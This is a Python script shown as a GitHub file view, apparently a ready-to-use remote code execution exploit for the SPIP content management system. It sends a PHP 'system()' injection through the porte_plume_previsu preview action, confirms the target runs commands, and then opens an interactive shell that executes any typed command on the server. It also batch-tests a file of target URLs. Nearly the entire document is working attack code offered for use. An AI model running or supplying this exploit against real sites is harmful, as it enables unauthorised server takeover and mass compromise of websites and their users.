-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathspip_rce.py
71 lines (65 loc) · 2.58 KB
/
spip_rce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/python3
import httpx
import asyncio
import sys
from bs4 import BeautifulSoup as bs4
path = '/index.php?action=porte_plume_previsu'
async def single_url(url, path):
async with httpx.AsyncClient(verify=False) as client:
data = {
'data': 'AA_[<img111111>->URL`<?php system("id");?>`]_BB'
}
try:
r = await client.post(url=f'{url}{path}', data=data)
except httpx.ConnectTimeout:
print('[*] Problems with host')
soup = bs4(r.text, 'html.parser')
try:
output = soup.a.string.split('"')[0]
except AttributeError:
vulnurable = False
output = False
if output:
vulnurable = True
else:
vulnurable = False
print(f'{url} not vulnurable')
if vulnurable:
while True:
command = input('$ ')
if command == 'exit':
print('[*] Exiting from shell')
break
elif command == 'clear':
sys.stdout.write("\x1b[2J\x1b[H")
continue
elif command.strip() == '':
continue
shell_data = {
'data': f'AA_[<img111111>->URL`<?php system("{command}");?>`]_BB'
}
try:
req = await client.post(url=f'{url}{path}', data=shell_data)
soup = bs4(req.text, 'html.parser')
output = soup.a.string.split('"')[0]
print(output)
except httpx.ReadTimeout:
continue
async def list_urls(file, path):
async with httpx.AsyncClient(verify=False) as client:
with open(file) as t_file:
targets = t_file.readlines()
for target in targets:
target = target.replace('\n', '')
print(f'[*] Testing {target}')
await single_url(target, path)
continue
if len(sys.argv) < 2:
print(f'Usage: python3 {sys.argv[0]} -u https://example.org\npython3 {sys.argv[0]} -l targets.txt')
else:
if sys.argv[1] == '-u':
asyncio.run(single_url(sys.argv[2], path))
elif sys.argv[1] == '-l':
asyncio.run(list_urls(sys.argv[2], path))
else:
print(f'Usage: python3 {sys.argv[0]} -u https://example.org\npython3 {sys.argv[0]} -l targets.txt')